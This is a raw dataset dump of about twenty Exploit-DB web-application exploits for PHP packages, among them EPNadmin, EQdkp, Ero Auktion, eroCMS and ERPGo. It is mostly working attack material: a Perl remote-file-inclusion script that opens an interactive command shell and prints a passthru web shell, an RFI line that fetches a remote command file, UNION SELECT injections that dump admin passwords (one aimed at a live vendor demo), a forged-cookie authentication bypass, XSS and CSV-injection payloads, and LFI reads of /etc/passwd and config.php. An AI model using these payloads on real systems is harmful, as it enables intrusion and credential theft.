deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2596
Description: EPNadmin 0.7 - 'constantes.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-19
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# EPNadmin remote Command Execution Vulnerabilities
# 
# Risk : High (Remote Code Execution)
# 
# Url: http://epnadmin.pierrefitte93.fr
#
# Version : 0.7
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".  EPNadmin 0.7 remote Command Execution Vulnerabilities      .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];	
chomp($shell);
    
$path = $path."/constantes.inc.php";


sub usage(){
	print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
	print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?langage=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }

}

# milw0rm.com [2006-10-19]
Exploit-DB #7864
Description: EPOLL SYSTEM 3.1 - 'Password.dat' Disclosure
Type: webapps
Platform: php
Date: 2009-01-25
Author: Pouya_Server

Exploit:
#!/usr/bin/python
#Portal Name: EPOLL SYSTEM
#Version : All version
#'Google Dork : Powered by Egorix
#Exploit Coded by: Pouya_Server
#Exploit Discovered by: Pouya_Server
#Contact Me : Pouya.s3rver@Gmail.com
#Epoll system login page = www.site.com/[Path]/admin.php
import urllib
import sys
import parser
serv="http://"
i=0
for arg in sys.argv:
     i=i+1
if i!=3:
 print """\n\n
         \tEpoll System   (password.dat)                         
          \tUsage:exploit.py [targetsite] [path]
          \tExample:exploit.py www.target.com /Path/
          \tResult= Admin Pass [MD5]" \n\n"""
else:
  
    adres=sys.argv[1]
    path=sys.argv[2]
    str1=adres.join([serv,path])
    str2=str1.join(['','/password.dat'])
    print "\n[~]Connecting..."
    url=urllib.urlopen(str2).read();
    print "\n[+]Connected!"
 
    test=url.find(path);
    t=0;
    print "\n\t\t\t-=[Admin Password]=-"
    while(url[test+1]!=1): # Pouya
              print url[test],
              if(url[test]=='\n'):
                 t=t+1;
              if(t==2):
                 break;
              
              test=test+1;
    print "\n\n\t\t\t[ Coded by Pouya_Server ]"

# milw0rm.com [2009-01-25]
Exploit-DB #29715
Description: EPortfolio 1.0 - Client-Side Input Validation
Type: webapps
Platform: php
Date: 2007-03-05
Author: Stefan Friedli

Exploit:
source: https://www.securityfocus.com/bid/22829/info

ePortfolio is prone to a client-side input-validation vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to perform various attacks that are caused by input-validation vulnerabilities. These may include cross-site scripting attacks, SQL-injection attacks, and possibly others. 

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E
Exploit-DB #6139
Description: EPShop < 3.0 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-26
Author: mikeX

Exploit:
########################################################################################
#
# [+]  Name   : EPShop < 3.0 (pid) Remote SQL Injection Vulnerability
# [+]  Author : mikeX - http://www.cyber-underground.net / m$n: mikeX[at]fuckoff[dot]com
# [+]  Dork(s): ?action=pro_show and ?action=disppro
# [+]  Greetz : Ciaran McG, -Witch-Doct0r, K_n, MegaByte, Squibs, cIpheR, mmmbud, RoMeo
#
########################################################################################


Information;

    You can't download a copy coz it's now known as ECShop - http://comsenz.com/products/ecshop
    They stopped supporting the old version a while ago.

Exploit;

    SQL #1: http://www.target.com/?action=pro_show&pid=[SQL Injection]
    SQL #2: http://www.target.com/?action=disppro&pid=[SQL Injection]

Live Examples;

    http://www.xxx.net/?action=pro_show&pid=null+UNION+ALL+SELECT+1,password,3,4,5,6+FROM+admin--
    http://www.xxx.com/?action=disppro&pid=null+UNION+ALL+SELECT+1,password,3,4,5,6,7,8,9,10,11,12,13+FROM+admin--

# milw0rm.com [2008-07-26]
Exploit-DB #1764
Description: EQdkp 1.3.0 - 'dbal.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-07
Author: OLiBekaS

Exploit:
Title: EQdkp <= 1.3.0 Remote File Inclusion
URL: http://www.eqdkp.com/
Dork: "powered by EQdkp"
Author: OLiBekaS
greetz: Skulmatic, weleh, brockencode, and all #papmahackerlink crew

Exploit: /includes/dbal.php?eqdkp_root_path=http://yourhost/cmd.gif?cmd=ls

# milw0rm.com [2006-05-07]
Exploit-DB #30028
Description: EQdkp 1.3.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-12
Author: kefka

Exploit:
source: https://www.securityfocus.com/bid/23951/info

EQDKP is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

EQDKP 1.3.2c and prior versions are affected. 

http://www.example.com/path-to-eqdkp/listmembers.php?show=%22%3E%3Cplaintext%3E
Exploit-DB #5603
Description: EQdkp 1.3.2f - 'user_id' Authentication Bypass
Type: webapps
Platform: php
Date: 2008-05-13
Author: vortfu

Exploit:
<?php
   // EQDKP 1.3.2f Authentication Bypass (PoC)
   // vort.fu@gmail.com
 
   $data['auto_login_id'] = 'x';
   $data['user_id']       = "1' " .
                            "UNION SELECT " .
                               "1, " .         // * user_id
                               "'a', " .       // username
                               "'x', " .       // * user_password
                               "'', " .        // user_email
                               "1, " .         // user_alimit
                               "1, " .         // user_elimit
                               "1, " .         // user_ilimit
                               "1, " .         // user_nlimit
                               "1, " .         // user_rlimit
                               "1, " .         // user_style
                               "'english', " . // user_lang
                               "NULL, " .      // user_key
                               "1, " .         // user_lastvisit
                               "NULL, " .      // user_lastpage
                               "1, " .         // * user_active
                               "NULL, " .      // user_newpassword
                               "NULL " .       // session_current
                            "ORDER BY " .
                               "username ASC" .
                            "/*";
 
   $cookie = serialize($data);
   echo "eqdkp_data\n\n";
 
   for($i = 0; $i < strlen($cookie); $i++)
      echo '%' . bin2hex($cookie[$i]);
 
   echo "\n\n";
?> 

# milw0rm.com [2008-05-13]
Exploit-DB #49722
Description: Equipment Inventory System 1.0 - 'multiple' Stored XSS
Type: webapps
Platform: php
Date: 2021-03-29
Author: Jitendra Kumar Tripathi

Exploit:
# Exploit Title: Equipment Inventory System 1.0 - 'multiple' Stored XSS
# Exploit Author: Jitendra Kumar Tripathi
# Vendor Homepage: https://www.sourcecodester.com/php/11327/equipment-inventory.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11327&title=Equipment+Inventory+System+using+PHP+with+Source+Code
# Version: 1
# Tested on Windows 10 + Xampp 8.0.3

Vulnerable Parameters: Item List , Employee Details , Position of Employee

*Steps to reproduce:*
1: Log in with a valid username and password. 

2: Navigate to http://localhost/deped/admin/item.php
   Add Item 
   Payload : <script>alert(1)</script>

   Navigate to http://localhost/deped/admin/employee.php
   Add Employee
   Payload : <script>alert(2)</script>
   
   Post Saved Sucessfully , reload your page or navigate to any page you will see these XSS triggered.
Exploit-DB #5771
Description: ErfurtWiki R1.02b - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-10
Author: Unohope

Exploit:
  _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: ErfurtWiki <= R1.02b (css) Local File Inclusion Vulnerability

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: ErfurtWiki

Download ====:: http://erfurtwiki.sourceforge.net/downloads/ewiki-R1.02b.tgz

Mirror ======:: http://www.badongo.com/file/9611291

______________________
[Local File Inclusion]

- {css.php} -

http://localhost/ewiki/fragments/css.php?ewiki_id=../../../../../../../../etc/passwd%00&ewiki_action=1

http://localhost/ewiki/?id=../../../../../../../../../../../../etc/passwd%00

http://localhost/ewiki/fragments/css.php?ewiki_id=1&ewiki_action=../../../../../../../../etc/passwd%00

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-06-10]
Exploit-DB #11521
Description: Ero Auktion 2.0 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-22
Author: Easy Laster

Exploit:
----------------------------Information----------------------------------------
+Autor : Easy Laster
+Date   : 21.10.2010
+Script  : Ero Auktion V.2.0 SQL Injection news.php
+Download : -----
+Price : 34,90€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor.
--------------------------------------------------------------------------------
 ___ ___ ___ ___                     _ _                         _         _
| | |   |   | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _|  _| |  _| | |___| . |  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|_| |_|_| |_  |   |  _|_| |___|_| |___|___|_|
                                          |___|   |_|         |___|
--------------------------------------------------------------------------------
+Vulnerability : www.Site.com/news.php?id=[SQL]
+Exploitable   : www.site.com/flashauktion/news.php?id=11111111+union+select+1,
2,concat%28name,0x3a,password%29,4,5+from+users
--------------------------------------------------------------------------------
Exploit-DB #15769
Description: Ero Auktion 2010 - 'item.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-18
Author: DeadLy DeMon

Exploit:
+Name : Eroauktion 2010 <= SQL injection Vulnerability Proof of Concept
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : Eroauktion 2010
+Download : ----
+Dork : Not Dork
+Price : 39.90  EURO
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrir TIM =>> www.cyber-warrior.org
+Greetz to All Cyber-Warrior Members
---------------------------------------------------------------------------------------



Kah çıkarım gökyüzüne seyrederim alemi kah inerim yeryüzüne seyreder alem
beni beni :)))
----------------------------------------------------------------------------------------

Bug ;

server/flashauktion2010/item.php?id=' [Sql Inj. ]
---------------------------------------------------------------------------------------
Exploit-DB #11522
Description: Ero Auktion 2010 - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-22
Author: Easy Laster

Exploit:
----------------------------Information----------------------------------------
+Autor : Easy Laster
+Date   : 21.10.2010
+Script  : Ero Auktion 2010 SQL Injection news.php
+Download : -----
+Price : 39,90€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor.
--------------------------------------------------------------------------------
 ___ ___ ___ ___                     _ _                         _         _
| | |   |   | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _|  _| |  _| | |___| . |  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|_| |_|_| |_  |   |  _|_| |___|_| |___|___|_|
                                          |___|   |_|         |___|
--------------------------------------------------------------------------------
+Vulnerability : www.Site.com/news.php?id=[SQL]
+Exploitable   : www.Site.com/flashauktion2010/news.php?id=11111111+union+select
+1,2,concat%28name,0x3a,password%29,4,5+from+users#
--------------------------------------------------------------------------------
Exploit-DB #5846
Description: eroCMS 1.4 - 'site' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-17
Author: Mr.SQL

Exploit:
#########################################################################
#################### Viva IslaM Viva IslaM ##############################
##
## Remote SQL Injection Vulnerability
##
## eroCMS V1.0 - V1.1 - V1.2 - V1.3 - V1.4 ( index.php site )
##
#########################################################################
#########################################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM
##
## Email  : SQL@Hotmail.it
##
## !! SYRIAN HaCkErS  !!
########################
########################
##
## Script  : eroCMS
##
## Vesrion : 1.0 - 1.1 - 1.2 - 1.3 - 1.4
##
## site    : www.erocms.de
##
########################
########################
##
## D0rk : "by eroCMS"
##
##
##     -(:: SQL ::)-
##
##    www.site.com/
##          index.php?site=-1'+union+select+1,2,concat_ws(0x3a,passwort,email),4,5+from+members+limit+1,1/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://demo.erocms.de/index.php?site=-1'+union+select+1,2,concat_ws(0x3a,passwort,email),4,5+from+members+limit+1,1/*
##
#######################
#######################
 -(:: NOTE ::)-
maybe table users  ( members )
columns  ( , passwort , email , ) get the user column , USE group by :) , (( This porno script ))
 
#######################################################################################################
#######################################################################################################
 
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
 
 :: HaCkEr-EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-17]
Exploit-DB #11689
Description: Eros Erotik Webkatalog - 'start.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-11
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Eros Erotik Webkatalog start.php (rubrik&id)SQL Injection
+Autor : Easy Laster
+Date   : 11.03.2010
+Script  : Eros Erotik Webkatalog
+Price : 07,13€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/webkatalog/start.php?go=rubrik&id=
+Exploitable   : www.site.com/webkatalog/start.php?go=rubrik&id=-1+union+select+1,2,3,4,
5,6,7,8,9,concat(id,0x3a,vorname,0x3a,passwort,0x3,mail),11,12,13,14,15+from+php005_4_eintrag--
                                                                           ^^"table name"^^
-----------------------------------------------------------------------------------------
Exploit-DB #11489
Description: Erotik Auktionshaus - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-17
Author: Easy Laster

Exploit:
 ########################################################################
 ##Erotik Auktionshaus SQL Injection news.php                          ##
 ########################################################################
 ########################################################################
 ## _                     _     _                   _                  ##
 ##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
 ##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
 ##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
 ##                                                                    ##
 ########################################################################
##########################################################################
#Script: Erotik Auktionshaus news.php                                    #
#Vulnerabilities [ SQL Injection ]                                       #
#Language: [ PHP ]                                                       #
#Download: [ buy this script ]                                           #
#Founder: [ ea$y laster ]                                                #
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ]  #
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-]                       #
#Price: [ Commercial License EUR 149.00 €                                #
#DEMO : http://xmedien.e-ee.de/auktion-e/                                #
#############################################################################
#http://server/news.php?id=-1+union+select+1,2,password,4,5+from+users+--#
#############################################################################
Exploit-DB #51220
Description: ERPGo SaaS 3.9 - CSV Injection
Type: webapps
Platform: php
Date: 2023-04-03
Author: Sajibe Kanti

Exploit:
# Exploit Title: ERPGo SaaS 3.9 - CSV Injection
# Date: 18/01/2023
# Exploit Author: Sajibe Kanti
# Vendor Name: RajodiyaInfotech
# Vendor Homepage: https://rajodiya.com/
# Software Link: https://codecanyon.net/item/erpgo-saas-all-in-one-business-erp-with-project-account-hrm-crm-pos/33263426
# Version: 3.9
# Tested on: Windows & Live Litespeed Web Server
# Demo Link : https://demo.rajodiya.com/erpgo-saas/login

# Description #

ERPGo is a software as a service (SaaS) platform that is vulnerable to CSV
injection attacks. This type of attack occurs when an attacker is able to
manipulate the data that is imported or exported in a CSV file, in order to
execute malicious code or gain unauthorized access to sensitive
information. This vulnerability can be exploited by an attacker by
injecting specially crafted data into a CSV file, which is then imported
into the ERPGo system. This can potentially allow the attacker to gain
access to sensitive information, such as login credentials or financial
data, or to execute malicious code on the system.

# Proof of Concept (PoC) : Exploit #

1) Go To : https://erpgo.127.0.0.1/ERPGo/register <====| Register New
account
2) Complete the Registration
3) Now Click Accounting System Then Customer
4) Now Add a New Vendors / Click Create
5) Now Add this Payload  in Name : =10+20+cmd|' /C calc'!A0
6) Now Submit This Form
7) Now Download Vendors List as csv
8) Open This CSV File in excel
9) Now a Calculator will open

# Image PoC : Reference Image #

1) Payload Fired: https://prnt.sc/EkKPZiMa6yz8
Exploit-DB #22907
Description: ES CmS 0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2012-11-25
Author: hossein beizaee

Exploit:
# Exploit Title: ES CmS 0.1 Sql Injection Vulnerability

# Google Dork: inurl:/page.php?id=

# Date: 2012

# Exploit Author: MR.XpR

# Software Link: http://es-cms.com , http://sourceforge.net/projects/escms/files/esCMS Alpha/0.1/escms_alpha_v0_1.zip

# Version: v.0.1

# Tested on: BT , 7


# Poc :

http://localhost/page.php?id=[sqli]


# D3mo : 

http://server/page.php?id=-1+union+select+1,2,3,group_concat(column_name),5,6+from+information_schema.c​olumns+where+table_name=char(table_cod)

http://server/page.php?id=-1+union+select+1,2,3,group_concat(nazwa,0x3a,haslo),5,6+from+es_cms_users


# TNx To : 

My Brothers Siamak.Black(Black.Boy) , UnknowN

 everything is not true ,The real is dream
Exploit-DB #14960
Description: ES Simple Download 1.0. - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-09-09
Author: Kazza

Exploit:
 ----------------------------Information------------------------------------------------
+Name : ES Simple Download v 1.0. Local File Exclusion/LFI
+Autor : Kazza
+email : kazzamagic@list.ru
+Date   : 09.09.2010
+Script  : ES Simple Download v 1.0.
+Price : Freeware
+Language :PHP
+Discovered by Kazza
+Security Group : -GST-German Security Team-
+And all Friends Sites : http://md5cracker.tk - http://gulli.com - http://free-hack.com

----------------------------Vulnerability-----------------------------------------------
+Download : www.energyscripts.com/projects/essdownload/essdownload1.0.zip
+Vulnerability : www.your script/download.php?PHPSESSID="Your Senssid"&file=../*****
+Password Exploitable   : www.your script/download.php?PHPSESSID="Your Senssid"&file=../../config.php
-----------------------------------------------------------------------------------------